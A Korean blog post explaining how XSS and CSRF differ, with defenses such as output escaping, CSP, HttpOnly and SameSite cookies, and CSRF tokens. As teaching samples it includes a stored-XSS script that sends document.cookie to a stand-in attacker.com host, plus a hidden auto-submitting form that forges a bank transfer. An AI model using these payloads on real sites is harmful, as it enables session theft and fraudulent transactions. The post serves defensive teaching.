XSS์™€ CSRF — ํ—ท๊ฐˆ๋ฆฌ๋Š” ๋‘ ๊ณต๊ฒฉ, ๋ฌด์—‡์ด ๋‹ค๋ฅธ๊ฐ€

XSS์™€ CSRF. ์ด๋ฆ„๋„ ๋น„์Šทํ•˜๊ณ  ๋‘˜ ๋‹ค ์›น ๋ณด์•ˆ ๊ณต๊ฒฉ์ด๋ผ ํ•ญ์ƒ ํ—ท๊ฐˆ๋ฆฐ๋‹ค. ํ•˜์ง€๋งŒ ๊ณต๊ฒฉ ๋ฐฉํ–ฅ๋„, ๋Œ€์‘ ๋ฐฉ๋ฒ•๋„ ์ •๋ฐ˜๋Œ€๋‹ค. ๋‘ ๊ณต๊ฒฉ์˜ ์ฐจ์ด๋ฅผ ๋ช…ํ™•ํžˆ ๊ฐ€๋ฅด๊ณ , ๊ฐ๊ฐ์˜ ๋™์ž‘ ์›๋ฆฌ์™€ ๋ฐฉ์–ด๋ฒ•์„ ์ฝ”๋“œ๋กœ ์ •๋ฆฌํ•œ๋‹ค.


๋“ค์–ด๊ฐ€๋ฉฐ

์›น ๋ณด์•ˆ์„ ๊ณต๋ถ€ํ•˜๋ฉด XSS์™€ CSRF๊ฐ€ ๊ฑฐ์˜ ์„ธํŠธ๋กœ ๋“ฑ์žฅํ•œ๋‹ค. ์ด๋ฆ„๋„ ์•ŒํŒŒ๋ฒณ ๋„ค ๊ธ€์ž๋กœ ๋น„์Šทํ•˜๊ณ , ๋‘˜ ๋‹ค ์›น ๊ณต๊ฒฉ์ด๋ผ ํ—ท๊ฐˆ๋ฆฌ๊ธฐ ์‰ฝ๋‹ค. ํ•˜์ง€๋งŒ ์ด ๋‘˜์€ ๊ณต๊ฒฉํ•˜๋Š” ๋ฐฉํ–ฅ์ด ์ •๋ฐ˜๋Œ€๋‹ค.

XSS๋Š” "์‚ฌ์šฉ์ž๋ฅผ ์†์—ฌ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋Š”" ๊ณต๊ฒฉ์ด๊ณ , CSRF๋Š” "์‚ฌ์šฉ์ž์˜ ์ธ์ฆ ์ •๋ณด๋ฅผ ๋„์šฉํ•ด ์„œ๋ฒ„๋ฅผ ์†์ด๋Š”" ๊ณต๊ฒฉ์ด๋‹ค.

ํ•œ ๋ฌธ์žฅ์œผ๋กœ ์ฐจ์ด๋ฅผ ์žก์œผ๋ฉด ์ด๋ ‡๋‹ค.

  XSS CSRF
ํ’€๋„ค์ž„ Cross-Site Scripting Cross-Site Request Forgery
์†์ด๋Š” ๋Œ€์ƒ ์‚ฌ์šฉ์ž(๋ธŒ๋ผ์šฐ์ €) ์„œ๋ฒ„
ํ•ต์‹ฌ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œํ‚ด ์œ„์กฐ๋œ ์š”์ฒญ์„ ๋ณด๋ƒ„
๊ณต๊ฒฉ์ž๊ฐ€ ์–ป๋Š” ๊ฒƒ ์ฟ ํ‚ค·์„ธ์…˜ ํƒˆ์ทจ, ์ •๋ณด ์œ ์ถœ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ํ–‰๋™ ์ˆ˜ํ–‰
OWASP ๋ถ„๋ฅ˜ ์ธ์ ์…˜ ๊ณ„์—ด ์ ‘๊ทผ ์ œ์–ด/์œ„์กฐ ๊ณ„์—ด

์ด ๊ธ€์—์„œ๋Š” ๊ฐ๊ฐ์˜ ๋™์ž‘ ์›๋ฆฌ์™€ ๋Œ€์‘์„ ์ฝ”๋“œ์™€ ํ•จ๊ป˜ ๋ณธ๋‹ค. ์˜ˆ์‹œ๋Š” ์ผ๋ฐ˜์ ์ธ ์›น ํ™˜๊ฒฝ ๊ธฐ์ค€์ด๋‹ค.


XSS (Cross-Site Scripting)

XSS๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›นํŽ˜์ด์ง€์— ์‹ฌ์–ด, ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ด๋‹ค. ํ•ต์‹ฌ์€ "์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ฒ€์ฆ ์—†์ด ํ™”๋ฉด์— ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ"ํ•  ๋•Œ ๋šซ๋ฆฐ๋‹ค๋Š” ์ ์ด๋‹ค.

์–ด๋–ป๊ฒŒ ๊ณต๊ฒฉํ•˜๋‚˜

๊ฒŒ์‹œํŒ ๋Œ“๊ธ€ ์ž…๋ ฅ๋ž€์„ ๋– ์˜ฌ๋ ค๋ณด์ž. ๊ณต๊ฒฉ์ž๊ฐ€ ๋Œ“๊ธ€์— ์ด๋Ÿฐ ๊ฑธ ์ ๋Š”๋‹ค.

<script>
  // ๋ฐฉ๋ฌธ์ž์˜ ์ฟ ํ‚ค๋ฅผ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์ „์†ก
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

์ด ๋Œ“๊ธ€์ด ๊ฒ€์ฆ ์—†์ด ์ €์žฅ๋˜๊ณ , ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ทธ ๊ฒŒ์‹œ๊ธ€์„ ์—ด๋ฉด ๊ทธ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋œ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ๋ฐฉ๋ฌธ์ž์˜ ์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋„˜์–ด๊ฐ€๊ณ , ๊ณต๊ฒฉ์ž๋Š” ๊ทธ ์ฟ ํ‚ค๋กœ ๋กœ๊ทธ์ธ์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ๋‹ค.

XSS์˜ ์ข…๋ฅ˜

์ข…๋ฅ˜ ์„ค๋ช…
Stored XSS ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ DB์— ์ €์žฅ๋จ (๋Œ“๊ธ€, ๊ฒŒ์‹œ๊ธ€). ๊ฐ€์žฅ ์œ„ํ—˜
Reflected XSS URL ํŒŒ๋ผ๋ฏธํ„ฐ ๋“ฑ์— ๋‹ด๊ธด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฆ‰์‹œ ๋ฐ˜์‚ฌ๋˜์–ด ์‹คํ–‰
DOM-based XSS ์„œ๋ฒ„๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ํด๋ผ์ด์–ธํŠธ JS๊ฐ€ DOM์„ ์กฐ์ž‘ํ•˜๋ฉฐ ๋ฐœ์ƒ

๋Œ€์‘: ์ถœ๋ ฅ ์‹œ ์ด์Šค์ผ€์ดํ”„ + ์ž…๋ ฅ ๊ฒ€์ฆ

ํ•ต์‹ฌ ๋ฐฉ์–ด๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ํ™”๋ฉด์— ์ถœ๋ ฅํ•  ๋•Œ HTML๋กœ ํ•ด์„๋˜์ง€ ์•Š๊ฒŒ ์ด์Šค์ผ€์ดํ”„(escape) ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

// ์ทจ์•ฝ: ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ innerHTML์— — ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋œ๋‹ค
element.innerHTML = userInput;

// ๋Œ€์‘ 1: textContent ์‚ฌ์šฉ — ํ…์ŠคํŠธ๋กœ๋งŒ ์ทจ๊ธ‰, ์‹คํ–‰ ์•ˆ ๋จ
element.textContent = userInput;

// ๋Œ€์‘ 2: ์ถœ๋ ฅ ์‹œ ํŠน์ˆ˜๋ฌธ์ž ์ด์Šค์ผ€์ดํ”„
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

<script>๊ฐ€ &lt;script&gt;๋กœ ๋ฐ”๋€Œ๋ฉด, ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด๋ฅผ ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋ผ ๊ทธ๋ƒฅ ํ…์ŠคํŠธ๋กœ ๋ณด์—ฌ์ค€๋‹ค. ์‹คํ–‰๋˜์ง€ ์•Š๋Š” ๊ฒƒ์ด๋‹ค.

์ถ”๊ฐ€ ๋ฐฉ์–ด ์ˆ˜๋‹จ๋„ ์žˆ๋‹ค.

<!-- Content-Security-Policy: ํ—ˆ์šฉ๋œ ์ถœ์ฒ˜์˜ ์Šคํฌ๋ฆฝํŠธ๋งŒ ์‹คํ–‰ -->
<meta http-equiv="Content-Security-Policy"
      content="script-src 'self'">
Set-Cookie: session=abc123; HttpOnly; Secure

HttpOnly ์ฟ ํ‚ค๋Š” JavaScript์—์„œ document.cookie๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋‹ค. XSS๊ฐ€ ๋ฐœ์ƒํ•ด๋„ ์ฟ ํ‚ค ํƒˆ์ทจ๋งŒํผ์€ ๋ง‰์„ ์ˆ˜ ์žˆ๋‹ค. React·Vue ๊ฐ™์€ ์ตœ์‹  ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ถœ๋ ฅ์„ ์ด์Šค์ผ€์ดํ”„ํ•˜๋ฏ€๋กœ, dangerouslySetInnerHTML ๊ฐ™์€ ์šฐํšŒ๋กœ๋งŒ ์กฐ์‹ฌํ•˜๋ฉด ์ƒ๋‹น ๋ถ€๋ถ„ ์•ˆ์ „ํ•˜๋‹ค.


CSRF (Cross-Site Request Forgery)

CSRF๋Š” ์ •๋ฐ˜๋Œ€ ๋ฐฉํ–ฅ์ด๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ๋กœ๊ทธ์ธ๋œ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ๋„์šฉํ•ด, ์‚ฌ์šฉ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ์š”์ฒญ์„ ์„œ๋ฒ„์— ๋ณด๋‚ด๊ฒŒ ๋งŒ๋“œ๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

์–ด๋–ป๊ฒŒ ๊ณต๊ฒฉํ•˜๋‚˜

ํ•ต์‹ฌ ์ „์ œ๋Š” "๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ ํ•ด๋‹น ๋„๋ฉ”์ธ์˜ ์ฟ ํ‚ค๋ฅผ ์ž๋™์œผ๋กœ ์ฒจ๋ถ€ํ•œ๋‹ค"๋Š” ์ ์ด๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์€ํ–‰ ์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ๋ผ๊ณ  ํ•˜์ž. ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋Ÿฐ ํŽ˜์ด์ง€๋ฅผ ๋งŒ๋“ค์–ด ์‚ฌ์šฉ์ž๊ฐ€ ๋ฐฉ๋ฌธํ•˜๊ฒŒ ์œ ๋„ํ•œ๋‹ค.

<!-- ๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ์— ์ˆจ๊ฒจ์ง„ ํผ -->
<form action="https://bank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('f').submit();</script>  <!-- ์ž๋™ ์ „์†ก -->

์‚ฌ์šฉ์ž๊ฐ€ ์ด ํŽ˜์ด์ง€๋ฅผ ์—ฌ๋Š” ์ˆœ๊ฐ„, ๋ธŒ๋ผ์šฐ์ €๋Š” bank.com์œผ๋กœ ์†ก๊ธˆ ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋™์œผ๋กœ ์€ํ–‰ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ์ฒจ๋ถ€ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ์€ํ–‰ ์„œ๋ฒ„๋Š” ์ด๊ฑธ ์ •์ƒ์ ์ธ ๋กœ๊ทธ์ธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์œผ๋กœ ๋ฐ›์•„๋“ค์ธ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ํด๋ฆญ ํ•œ ๋ฒˆ ํ•œ ์  ์—†๋Š”๋ฐ ๋ˆ์ด ๋น ์ ธ๋‚˜๊ฐ„๋‹ค.

XSS์™€ ๋‹ฌ๋ฆฌ ๊ณต๊ฒฉ์ž๋Š” ์‘๋‹ต์„ ๋ณผ ์ˆ˜๋„ ์—†๊ณ  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹ฌ์„ ํ•„์š”๋„ ์—†๋‹ค. ๊ทธ์ € ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ๋œ ์„ธ์…˜์„ ๋นŒ๋ ค ์š”์ฒญ์„ ์œ„์กฐํ•  ๋ฟ์ด๋‹ค.

๋Œ€์‘: CSRF ํ† ํฐ + SameSite ์ฟ ํ‚ค

๊ฐ€์žฅ ํ‘œ์ค€์ ์ธ ๋ฐฉ์–ด๋Š” CSRF ํ† ํฐ์ด๋‹ค. ์„œ๋ฒ„๊ฐ€ ํŽ˜์ด์ง€๋ฅผ ์ค„ ๋•Œ ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ํ† ํฐ์„ ํ•จ๊ป˜ ๋ฐœ๊ธ‰ํ•˜๊ณ , ์š”์ฒญ์ด ์˜ฌ ๋•Œ ๊ทธ ํ† ํฐ์ด ์žˆ๋Š”์ง€ ๊ฒ€์ฆํ•œ๋‹ค.

<!-- ์„œ๋ฒ„๊ฐ€ ํผ์— ์‹ฌ์–ด์ฃผ๋Š” CSRF ํ† ํฐ -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="a8f3c9b2-...">
  <input type="text" name="amount">
</form>

๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ๋Š” ์ด ํ† ํฐ ๊ฐ’์„ ์•Œ ์ˆ˜ ์—†์œผ๋ฏ€๋กœ(๋‹ค๋ฅธ ์ถœ์ฒ˜๋ผ ์ฝ์ง€ ๋ชปํ•จ), ์œ„์กฐ ์š”์ฒญ์—๋Š” ์˜ฌ๋ฐ”๋ฅธ ํ† ํฐ์„ ๋‹ด์„ ์ˆ˜ ์—†๋‹ค. ์„œ๋ฒ„๋Š” ํ† ํฐ์ด ์—†๊ฑฐ๋‚˜ ํ‹€๋ฆฐ ์š”์ฒญ์„ ๊ฑฐ๋ถ€ํ•œ๋‹ค.

// Spring Security๋Š” CSRF ๋ณดํ˜ธ๊ฐ€ ๊ธฐ๋ณธ ํ™œ์„ฑํ™”๋ผ ์žˆ๋‹ค
http.csrf(csrf -> csrf
    .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);

๋” ๊ฐ„๋‹จํ•˜๊ณ  ๊ฐ•๋ ฅํ•œ ํ˜„๋Œ€์  ๋ฐฉ์–ด๋Š” SameSite ์ฟ ํ‚ค ์†์„ฑ์ด๋‹ค.

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

SameSite=Strict(๋˜๋Š” Lax)๋Š” ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ ์‹œ์ž‘๋œ ์š”์ฒญ์—๋Š” ์ฟ ํ‚ค๋ฅผ ์ฒจ๋ถ€ํ•˜์ง€ ์•Š๊ฒŒ ํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๊ณต๊ฒฉ์ž ์‚ฌ์ดํŠธ์—์„œ ๋ณด๋‚ธ ์š”์ฒญ์—๋Š” ์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ๋ถ™์ง€ ์•Š์•„, CSRF ์ž์ฒด๊ฐ€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค. ์š”์ฆ˜ ๋ธŒ๋ผ์šฐ์ €๋Š” Lax๋ฅผ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์ ์šฉํ•ด์„œ ๊ธฐ๋ณธ ๋ฐฉ์–ด๋ ฅ์ด ์˜ฌ๋ผ๊ฐ”๋‹ค.


ํ•œ๋ˆˆ์— ๋น„๊ต

๋‘ ๊ณต๊ฒฉ์„ ๋‚˜๋ž€ํžˆ ๋†“์œผ๋ฉด ์ฐจ์ด๊ฐ€ ๋ถ„๋ช…ํ•ด์ง„๋‹ค.

  XSS CSRF
๊ณต๊ฒฉ ๋ฐฉํ–ฅ ์‚ฌ์šฉ์ž(๋ธŒ๋ผ์šฐ์ €)๋ฅผ ๊ณต๊ฒฉ ์„œ๋ฒ„๋ฅผ ๊ณต๊ฒฉ
๋ฌด์—‡์„ ์‹ฌ๋‚˜ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์œ„์กฐ๋œ ์š”์ฒญ
์ „์ œ ์กฐ๊ฑด ์ž…๋ ฅ ๊ฒ€์ฆ/์ด์Šค์ผ€์ดํ”„ ๋ฏธํก ์ฟ ํ‚ค ์ž๋™ ์ฒจ๋ถ€ + ์„ธ์…˜ ์œ ์ง€
๊ณต๊ฒฉ์ž ๋Šฅ๋ ฅ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰, ์ •๋ณด ํƒˆ์ทจ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ํ–‰๋™
์ฃผ์š” ๋Œ€์‘ ์ถœ๋ ฅ ์ด์Šค์ผ€์ดํ”„, CSP, HttpOnly CSRF ํ† ํฐ, SameSite ์ฟ ํ‚ค
ํ”„๋ ˆ์ž„์›Œํฌ ๊ธฐ๋ณธ ๋ฐฉ์–ด React/Vue ์ž๋™ ์ด์Šค์ผ€์ดํ”„ Spring Security ๊ธฐ๋ณธ ํ™œ์„ฑํ™”

ํฅ๋ฏธ๋กœ์šด ๊ฑด ๋‘˜์ด ์—ฐ๊ฒฐ๋˜๊ธฐ๋„ ํ•œ๋‹ค๋Š” ์ ์ด๋‹ค. XSS๊ฐ€ ๋šซ๋ฆฌ๋ฉด CSRF ๋ฐฉ์–ด(ํ† ํฐ)๋„ ๋ฌด๋ ฅํ™”๋  ์ˆ˜ ์žˆ๋‹ค. ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํŽ˜์ด์ง€ ์•ˆ์—์„œ CSRF ํ† ํฐ์„ ์ฝ์–ด๋ฒ„๋ฆฌ๋ฉด, SameSite๋„ ๊ฐ™์€ ์‚ฌ์ดํŠธ๋ผ ์šฐํšŒ๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๊ทธ๋ž˜์„œ XSS ๋ฐฉ์–ด๊ฐ€ ๋” ๊ทผ๋ณธ์ ์ด๋ผ๊ณ  ๋ณธ๋‹ค.


๋งˆ์น˜๋ฉฐ

์ด๋ฆ„์ด ๋น„์Šทํ•ด ํ—ท๊ฐˆ๋ฆฌ์ง€๋งŒ, ๋ฐฉํ–ฅ์„ ์žก์œผ๋ฉด ๋ช…ํ™•ํ•˜๋‹ค. XSS๋Š” ์‚ฌ์šฉ์ž๋ฅผ ์†์ด๊ณ , CSRF๋Š” ์„œ๋ฒ„๋ฅผ ์†์ธ๋‹ค. XSS๋Š” ์ž…๋ ฅ์„ ์ถœ๋ ฅํ•  ๋•Œ ์ด์Šค์ผ€์ดํ”„ํ•˜๋Š” ๊ฒŒ ํ•ต์‹ฌ์ด๊ณ , CSRF๋Š” ์š”์ฒญ์ด ์ •๋ง ์šฐ๋ฆฌ ์‚ฌ์ดํŠธ์—์„œ ์‹œ์ž‘๋๋Š”์ง€ ๊ฒ€์ฆ(ํ† ํฐ·SameSite)ํ•˜๋Š” ๊ฒŒ ํ•ต์‹ฌ์ด๋‹ค.

๋‹คํ–‰ํžˆ ์š”์ฆ˜์€ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ๊ธฐ๋ณธ ๋ฐฉ์–ด๋ฅผ ๋งŽ์ด ํ•ด์ค€๋‹ค. React๋Š” ์ถœ๋ ฅ์„ ์ž๋™ ์ด์Šค์ผ€์ดํ”„ํ•˜๊ณ , Spring Security๋Š” CSRF ๋ณดํ˜ธ๊ฐ€ ๊ธฐ๋ณธ์ด๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €๋Š” SameSite๋ฅผ ๊ธฐ๋ณธ ์ ์šฉํ•œ๋‹ค. ํ•˜์ง€๋งŒ dangerouslySetInnerHTML๋กœ ์šฐํšŒํ•˜๊ฑฐ๋‚˜, CSRF ๋ณดํ˜ธ๋ฅผ ๋ฌด์‹ฌ์ฝ” ๊บผ๋ฒ„๋ฆฌ๋Š” ์ˆœ๊ฐ„ ๋‹ค์‹œ ๋šซ๋ฆฐ๋‹ค. ๊ธฐ๋ณธ ๋ฐฉ์–ด๊ฐ€ ์™œ ๊ฑฐ๊ธฐ ์žˆ๋Š”์ง€๋ฅผ ์•Œ์•„์•ผ, ๊ทธ๊ฑธ ๋Œ ๋•Œ ๋ฌด์Šจ ์œ„ํ—˜์„ ๊ฐ์ˆ˜ํ•˜๋Š”์ง€๋„ ์•ˆ๋‹ค.

์›น ๋ณด์•ˆ์˜ ์ฒซ๊ฑธ์Œ์€ "์‚ฌ์šฉ์ž ์ž…๋ ฅ์€ ์ ˆ๋Œ€ ๋ฏฟ์ง€ ์•Š๋Š”๋‹ค"๋Š” ํƒœ๋„๋‹ค. XSS๋„ CSRF๋„, ๊ฒฐ๊ตญ ์‹ ๋ขฐํ•˜๋ฉด ์•ˆ ๋  ๊ฒƒ์„ ์‹ ๋ขฐํ•ด์„œ ์ƒ๊ธฐ๋Š” ๋ฌธ์ œ๋‹ค.


์ฐธ๊ณ  ์ถœ์ฒ˜

'๐Ÿ›ก๏ธ Security Notes' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

OWASP API Security Top 10(2023)  (0) 2026.06.02
OWASP Top 10(2025)  (0) 2026.06.02